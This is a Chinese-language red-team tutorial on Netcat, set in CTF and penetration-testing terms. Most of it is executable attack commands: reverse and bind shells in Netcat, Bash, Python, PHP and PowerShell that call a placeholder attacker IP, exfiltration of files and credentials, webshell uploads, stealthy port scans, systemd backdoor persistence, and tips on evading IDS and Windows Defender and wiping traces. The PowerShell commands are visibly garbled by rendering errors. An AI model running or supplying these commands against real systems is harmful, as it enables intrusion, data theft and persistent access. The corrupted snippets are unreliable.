Netcat(NC)渗透实战全指南
前置说明:NC 被誉为「网络瑞士军刀」,红队 / CTF 环境主流分为 3 个版本,命令存在差异,需提前区分:
- GNU Netcat :传统版本,原生支持
-e/--exec参数,CentOS、RHEL 等系统默认预装- OpenBSD Netcat :安全加固版,默认移除
-e参数,Ubuntu、Debian、Kali 新版默认预装- Ncat:Nmap 项目维护的增强版,全功能兼容,Windows/Linux 全平台支持,红队首选
一. 核心定义与全称
NC 全称:Netcat(网络猫) ,被誉为网络瑞士军刀 ,是跨平台轻量级网络工具,支持 TCP/UDP 协议,核心用于端口监听、连接建立、数据传输、反弹 Shell、端口扫描、后门制作、内网穿透,是红队渗透、 攻防、应急响应的必备基础工具。
二. 核心参数全称 + 功能 + 实战用途
| 参数 | 英文全称 | 中文功能 | 红队 / 渗透 / 实战用途 |
|---|---|---|---|
-l |
Listen | 监听模式,被动等待连接 | 开启端口监听,接收反弹 Shell、文件传输 |
-p |
Port | 指定本地 / 远程端口 | 自定义监听 / 连接端口,规避防火墙拦截 |
-v |
Verbose | 详细输出模式 | 显示连接、传输、扫描的详细日志 |
-vv |
Very Verbose | 超详细输出模式 | 排查连接失败、端口不通等故障 |
-n |
Numeric | 纯数字 IP,不解析 DNS | 加速连接,避免 DNS 泄露,提升隐蔽性 |
-e |
Execute | 执行指定程序 / 命令 | 制作正向 / 反向 Shell,红队核心后门功能 |
-u |
UDP | 使用 UDP 协议通信 | UDP 端口扫描、UDP 协议数据传输 |
-t |
Telnet | 支持 Telnet 协商 | 模拟 Telnet 客户端,连接远程 Telnet 服务 |
-z |
Zero-I/O | 零 IO 模式(无数据交互) | 静默端口扫描,不产生流量痕迹 |
-w |
Timeout | 设置连接超时时间(秒) | 端口扫描、批量连接时控制超时 |
-L |
Listen Harder | 持续监听(断开后自动重监听) | Windows 版专属,持久化监听端口 |
-k |
Keep Alive | 保持连接(多客户端连接) | 允许多个客户端连接同一监听端口 |
三、指定场景实战 NC 命令
场景 1:Linux 靶机反向 Shell
反向 Shell 逻辑:攻击机开启端口监听 → 靶机主动连接攻击机 → 攻击机获得靶机 Shell 交互权限
| 版本类型 | 完整可执行命令 | 参数全称与功能 | 适用系统 | 实战场景 | 执行权限 | 注意事项 | ||
|---|---|---|---|---|---|---|---|---|
| GNU NC(带 - e 参数) | 攻击机:nc -lvnp 4444 0.0.0.0靶机:nc 攻击机公网IP 4444 -e /bin/bash |
-l/--listen:开启监听模式-v/--verbose:详细输出连接信息-n/--nodns:不做 DNS 解析,加快连接速度-p/--port:指定监听端口-e/--exec:连接建立后执行指定程序 |
CentOS、RHEL、旧版 Kali | 红队外网打点、CTF 靶机 GetShell,靶机无入站防火墙限制 | 靶机普通用户即可执行,root 权限可获得完整系统控制 | 1. 攻击机必须先开启监听2. 攻击机防火墙 / 安全组需放行 4444 端口入站3. 靶机需能访问攻击机 IP(公网 IP 需做端口映射) | ||
| OpenBSD NC(无 - e 参数) | 攻击机:nc -lvn 4444 0.0.0.0靶机:`mkfifo /tmp/f; cat /tmp/f |
/bin/bash -i 2>&1 | nc 攻击机公网 IP 4444 > /tmp/f` | mkfifo:创建命名管道,实现双向数据交互其余参数同上 |
Ubuntu、Debian、新版 Kali | 靶机预装 OpenBSD NC,无-e参数的场景 |
普通用户权限 | 1. OpenBSD NC 监听无需加-p参数 ,否则会报错2. 执行完成后需删除/tmp/f管道文件,清除痕迹 |
| Ncat(增强版) | 攻击机:ncat -lvnp 4444 0.0.0.0靶机:ncat 攻击机公网IP 4444 -e /bin/bash |
兼容 GNU NC 全部参数,新增 SSL 加密、访问控制等功能 | 全 Linux 发行版、Windows | 红队实战,需加密传输、绕过流量检测的场景 | 普通用户权限 | 可加--ssl参数加密流量,避免被 IDS/IPS 检测 |
场景 2:Windows 正向 Shell
正向 Shell 逻辑:靶机开启端口监听 → 攻击机主动连接靶机 → 攻击机获得靶机 Shell 交互权限
| 完整可执行命令 | 参数全称与功能 | 适用系统 | 实战场景 | 执行权限 | 注意事项 |
|---|---|---|---|---|---|
靶机:ncat.exe -lvnp 4444 -e cmd.exe 0.0.0.0攻击机:ncat 靶机IP 4444 |
-l/--listen:监听模式-e/--exec:连接建立后执行 cmd.exe0.0.0.0:监听所有网卡地址 |
Windows 7/10/11、Windows Server 2012+ | 靶机有公网 IP / 与攻击机同内网,入站防火墙放行端口的场景 | 普通用户即可执行,管理员权限可获得完整系统控制 | 1. Windows 原生无 NC,需上传ncat.exe(Nmap 套件自带)到靶机2. 需关闭 Windows Defender 防火墙 / 添加入站规则放行 4444 端口3. 可加--allow 攻击机IP限制仅指定 IP 连接,避免被其他人连接 |
场景 3:文件传输
模式 1:攻击机接收、靶机发送(靶机可出网,无入站权限)
| 完整可执行命令 | 参数全称与功能 | 适用系统 | 实战场景 | 执行权限 | 注意事项 |
|---|---|---|---|---|---|
接收端(攻击机):nc -lvnp 4444 > receive.zip发送端(靶机):nc 攻击机IP 4444 < /tmp/target.zip -q 1 |
-q/--quit 1:文件传输完成后,等待 1 秒自动退出>/<:输入输出重定向 |
Linux 全版本,Windows 用ncat同理 |
红队从靶机下载敏感文件、日志、数据库备份 | 靶机需有文件读权限,攻击机有目录写权限 | 1. 大文件建议先压缩再传输,避免丢包2. 必须加-q参数,否则传输完成后 NC 不会自动退出,无法正常打开文件 |
模式 2:靶机接收、攻击机发送(靶机无出网权限,仅开放入站端口)
| 完整可执行命令 | 适用系统 | 实战场景 |
|---|---|---|
接收端(靶机):nc -lvnp 4444 > webshell.jsp发送端(攻击机):nc 靶机IP 4444 < /home/attack/webshell.jsp -q 1 |
Linux 全版本 | 红队向靶机上传 Webshell、提权工具 |
场景 4:静默端口扫描
| 完整可执行命令 | 参数全称与功能 | 适用系统 | 实战场景 | 执行权限 | 注意事项 |
|---|---|---|---|---|---|
TCP 全连接静默扫描:nc -zn -w 2 目标IP 1-1000 |
-z/--zero-io:零 IO 模式,仅探测端口是否开放,不发送任何数据-n/--nodns:不做 DNS 解析,加快扫描速度-w/--wait 2:端口超时时间 2 秒,避免扫描卡顿 |
Linux 全版本 | 红队内网信息收集、CTF 端口探测,需隐蔽扫描的场景 | 普通用户即可执行 | 1. 不加-v参数实现完全静默,无任何输出,仅通过命令返回值判断端口状态2. 大范围端口扫描建议分段执行,避免被 WAF/IPS 封禁3. 仅支持 TCP 扫描,UDP 扫描需加-u参数 |
场景 5:UDP 监听与通信
| 完整可执行命令 | 参数全称与功能 | 适用系统 | 实战场景 | 执行权限 | 注意事项 |
|---|---|---|---|---|---|
监听端:nc -ulvn 53 0.0.0.0发送端:nc -u 监听端IP 53 |
-u/--udp:启用 UDP 模式-l/--listen:UDP 端口监听 |
Linux 全版本 | 1. 红队 DNS 隧道搭建(53 端口默认被防火墙放行)2. 绕过 TCP 协议拦截的内网环境3. UDP 服务漏洞探测 | 普通用户权限(1024 以下端口需 root) | 1. UDP 是无连接协议,无法保证数据传输可靠性2. 需关闭防火墙对 UDP 端口的拦截3. 可用于反弹 Shell,配合命名管道实现 UDP 反向 Shell |
四、NC 命令常见故障排查方案
问题 1:NC 反弹 Shell 失败
分步排查方案
-
第一步:验证网络连通性
- 攻击机执行:
ping 靶机IP(测试 ICMP 连通) - 靶机执行:
nc -zv 攻击机IP 4444(测试端口连通性) - 异常处理:若端口不通,检查攻击机安全组 / 防火墙是否放行端口,公网环境需做端口映射。
- 攻击机执行:
-
第二步:检查监听配置是否正确
- 错误监听:
nc -lvnp 4444 127.0.0.1(仅监听本地,无法接收外部连接) - 正确监听:
nc -lvnp 4444 0.0.0.0(监听所有网卡,接收外部连接)
- 错误监听:
-
第三步:检查靶机防火墙拦截
-
靶机临时关闭防火墙测试:
- Linux:
systemctl stop firewalld/ufw disable - Windows:关闭 Windows Defender 防火墙
- Linux:
-
异常处理:若关闭后成功,需添加防火墙放行规则,而非直接关闭。
-
-
第四步:确认 NC 版本兼容性
- 执行
nc --version/nc -h确认版本,OpenBSD NC 不支持-e参数,需用管道方式替代。
- 执行
命令修改方案
- 无
-e参数替换为管道命令:mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 攻击机IP 4444 > /tmp/f - 公网环境添加
-w 30参数,设置 30 秒超时,避免连接挂起。
替代方案
- 直接使用系统自带 bash 反向 Shell:
bash -i >& /dev/tcp/攻击机IP/4444 0>&1 - 使用 python 反向 Shell(见第三部分)
问题 2:端口监听无连接
分步排查方案
-
第一步:检查监听地址与端口
- 必须监听
0.0.0.0,而非127.0.0.1/ 内网 IP - 执行
ss -tulnp | grep nc查看监听状态,确认端口已正确监听。
- 必须监听
-
第二步:检查端口是否被占用
- 执行
lsof -i:4444查看端口是否被其他进程占用,若占用需更换端口。
- 执行
-
第三步:区分 NC 版本的监听参数
- GNU NC 正确监听:
nc -lvnp 4444 - OpenBSD NC 正确监听:
nc -lvn 4444(禁止加 - p 参数,否则会监听失败)
- GNU NC 正确监听:
-
第四步:检查 NAT / 端口映射配置
- 公网环境需确认路由器 / 云服务器的端口映射已正确配置,外网端口与内网监听端口一致。
命令修改方案
- OpenBSD NC 移除
-p参数,直接指定端口 - 强制指定监听地址:
nc -lvn 0.0.0.0 4444
问题 3:文件传输失败
分步排查方案
-
第一步:检查文件权限与路径
- 发送端:执行
ls -l 文件名确认有读权限,使用绝对路径避免相对路径错误 - 接收端:确认当前目录有写权限,执行
pwd查看当前路径
- 发送端:执行
-
第二步:检查传输退出参数
- 必须添加
-q 1参数,否则传输完成后 NC 不会退出,文件会处于被占用状态,无法正常打开。
- 必须添加
-
第三步:检查网络丢包与防火墙
- 大文件传输添加
-w 60参数,延长超时时间,避免网络波动导致传输中断 - 关闭防火墙 / IDS 的大文件传输拦截规则。
- 大文件传输添加
命令修改方案
- 稳定传输命令:
nc 攻击机IP 4444 < /tmp/target.zip -q 1 -w 60 - 大文件分卷压缩后传输,避免单文件过大导致失败。
替代方案
- 用 base64 编码小文件,直接复制粘贴到终端,无需网络传输
- 靶机开启 python 临时 http 服务,攻击机用 wget/curl 下载文件。
问题 4:端口扫描无结果
分步排查方案
-
第一步:确认目标主机存活
- 执行
ping 目标IP确认主机在线,若禁 ping,用arping/nmap -sn探测。
- 执行
-
第二步:调整超时时间
- 内网环境
-w 2,公网环境需改为-w 5,避免超时时间过短导致端口状态误判。
- 内网环境
-
第三步:检查目标防火墙拦截
- 目标主机可能开启了防火墙,屏蔽了 NC 的 TCP 连接包,改用 SYN 扫描 / 半开扫描。
-
第四步:确认
-z参数兼容性- 部分 OpenBSD NC 版本不支持
-z参数,改用nc -vn -w 2 目标IP 端口逐个探测。
- 部分 OpenBSD NC 版本不支持
命令修改方案
- 公网扫描命令:
nc -zn -w 5 目标IP 21,22,80,443,3306,3389(指定重点端口,而非全端口扫描) - 无
-z参数替代:for port in {1..1000}; do nc -vn -w 2 目标IP $port >/dev/null 2>&1 && echo "端口 $port 开放"; done
问题 5:-e 参数不可用
分步排查方案
-
第一步:确认 NC 版本
- 执行
nc --version,若显示 OpenBSD Netcat,默认移除了-e参数,这是系统安全加固的默认配置。
- 执行
-
第二步:检查系统是否安装 GNU NC/Ncat
- 执行
which ncat/which netcat,确认是否有其他版本的 NC 可用。
- 执行
命令修改方案(无 - e 参数的完美替代)
-
命名管道反向 Shell:
mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 攻击机IP 4444 > /tmp/f原理:通过命名管道实现 Shell 的输入输出双向交互,完全替代
-e参数的功能。 -
使用 Ncat 替代:
若靶机有 Nmap 环境,直接用
ncat替代nc,原生支持-e参数:ncat 攻击机IP 4444 -e /bin/bash
五、禁用 NC 后的核心功能替代方案
1. 反向 Shell 替代方案(全系统自带,无需额外安装)
| 实现语言 | 完整可执行命令 | 适用系统 | 实战用法 | 隐蔽性说明 | ||
|---|---|---|---|---|---|---|
| Bash | bash -i >& /dev/tcp/攻击机IP/4444 0>&1 |
全 Linux 发行版 | 攻击机先开启nc -lvnp 4444监听,靶机执行该命令,直接获得交互式 Shell |
系统原生自带,无文件落地,无额外进程,隐蔽性极高,红队首选 | ||
| Python3 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.run(["/bin/bash","-i"])' |
全 Linux 发行版、Windows(安装 Python) | 攻击机开启监听,靶机执行该命令,兼容 Python3 所有版本,无额外依赖 | 系统自带 Python 环境,无文件落地,流量特征与正常 Python 请求一致,隐蔽性高 | ||
| PHP | php -r '$sock=fsockopen("攻击机IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' |
安装 PHP 的 Linux/Windows 系统(Web 服务器环境) | 适合 Web 打点场景,写入 PHP 一句话后执行该命令,获得 Web 服务器 Shell | 仅在 PHP 进程内执行,无系统日志,隐蔽性高,适合 Web 渗透场景 | ||
| PowerShell(Windows) | `powershell -nop -w hidden -c "攻击机stream = client.GetStream();[byte[]]bytes = 0...65535 | %{0};while((KaTeX parse error: Expected '}', got 'EOF' at end of input: ...ing).GetString(bytes,0, i);sendback = (iex $data 2>&1 | Out-String );sendback2=sendback+′PS′+(pwd).Path+′>′;sendbyte=([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);sendback2 = sendback+′PS′+(pwd).Path+′>′;sendbyte = ([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);sendback2=sendback+′PS′+(pwd).Path+′>′;sendbyte=([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);stream.Flush()};$client.Close()"` | Windows 全版本 | 攻击机开启ncat -lvnp 4444监听,靶机 CMD 中执行该命令,获得 PowerShell 交互式 Shell |
无文件落地,仅在内存中执行,可绕过 Windows Defender 静态查杀,隐蔽性高 |
2. 端口监听替代方案
| 实现方式 | 完整可执行命令 | 适用系统 | 实战用法 | 隐蔽性说明 |
|---|---|---|---|---|
| Python3 Socket | python3 -c 'import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",4444));s.listen(1);print("监听成功");conn,addr=s.accept();print("来自",addr,"的连接");while True:data=conn.recv(1024).decode();if not data:break;print("收到:",data);conn.send("已收到".encode())' |
全 Linux 发行版 | 监听 4444 端口,接收客户端发送的数据,可用于接收靶机回传的敏感信息、反弹 Shell | 系统原生 Python,无额外依赖,进程名与正常 Python 脚本一致,隐蔽性高 |
| Socat | 监听:socat TCP-LISTEN:4444,fork STDOUT反向 Shell:socat TCP:攻击机IP:4444 EXEC:/bin/bash |
大部分 Linux 发行版默认预装 | 比 NC 功能更强大,支持端口转发、双向交互,适合 NC 被禁用的场景 | 系统自带工具,流量特征与正常网络连接一致,隐蔽性中等 |
| Systemd Socket 激活 | 配置 systemd socket 单元,监听指定端口,触发后执行指定脚本 | Linux 系统 | 持久化端口监听,适合红队留后门场景,开机自启,隐蔽性极高 | 系统原生机制,无额外进程,日志极少,隐蔽性极高,适合持久化控制 |
3. 文件传输替代方案
| 实现方式 | 完整可执行命令 | 适用系统 | 实战用法 | 隐蔽性说明 | |
|---|---|---|---|---|---|
| Python HTTP 服务 | 靶机(发送端):python3 -m http.server 8080 --bind 0.0.0.0攻击机(接收端):wget http://靶机IP:8080/target.zip |
全 Linux 发行版 | 靶机在文件所在目录执行该命令,开启临时 HTTP 服务,攻击机直接下载文件,适合批量下载靶机文件 | 系统原生 Python,无额外依赖,流量为正常 HTTP 请求,可绕过大部分流量检测,隐蔽性高 | |
| Base64 编码传输 | 靶机编码:base64 -w 0 /etc/passwd攻击机解码:`echo"base64 字符串 " |
base64 -d > passwd` | 全 Linux 发行版 | 适合小文件(配置文件、SSH 密钥)传输,无需网络连接,直接复制粘贴 base64 字符串即可 | 无网络流量,完全无痕迹,隐蔽性极高,适合严格隔离的内网环境 |
| SCP/SFTP | 攻击机下载:scp 用户名@靶机IP:/tmp/target.zip ./ |
开启 SSH 服务的 Linux 系统 | 适合有 SSH 账号密码 / 密钥的场景,加密传输,不会被流量检测 | SSH 加密流量,无法被 IDS 解析,隐蔽性高,适合红队内网横向文件传输 |
4. 端口扫描替代方案
| 实现方式 | 完整可执行命令 | 适用系统 | 实战用法 | 隐蔽性说明 | |
|---|---|---|---|---|---|
| Bash 原生端口扫描 | for port in {1..1000}; do (echo > /dev/tcp/目标IP/$port) >/dev/null 2>&1 && echo "端口 $port 开放"; done |
全 Linux 发行版 | 纯 Bash 实现,无需任何额外工具,遍历 1-1000 端口,输出开放端口,适合内网信息收集 | 系统原生 Shell,无额外进程,无文件落地,流量特征与正常 TCP 连接一致,隐蔽性极高 | |
| Python3 端口扫描 | python3 -c 'import socket;socket.setdefaulttimeout(2);[print(f"端口 {port} 开放") for port in range(1,1000) if socket.socket(socket.AF_INET,socket.SOCK_STREAM).connect_ex(("目标IP",port)) == 0]' |
全 Linux 发行版 | 比 Bash 扫描速度更快,支持自定义超时时间,适合大范围端口扫描 | 系统原生 Python,无额外依赖,扫描速度可控,可通过调整超时时间绕过 WAF 检测,隐蔽性高 | |
| PowerShell 端口扫描(Windows) | `powershell -c"$ip=' 目标 IP';1...1000 | % { t=New−ObjectSystem.Net.Sockets.TCPClient;c=t.BeginConnect(ip,null,null);w=c.AsyncWaitHandle.WaitOne(200);if(w){t.EndConnect©;Write-Host " 端口 _ 开放"};t.Close()}"` | Windows 全版本 | 纯 PowerShell 实现,无需额外工具,适合 Windows 内网环境端口探测 | 无文件落地,内存执行,可绕过 Windows Defender 检测,隐蔽性高 |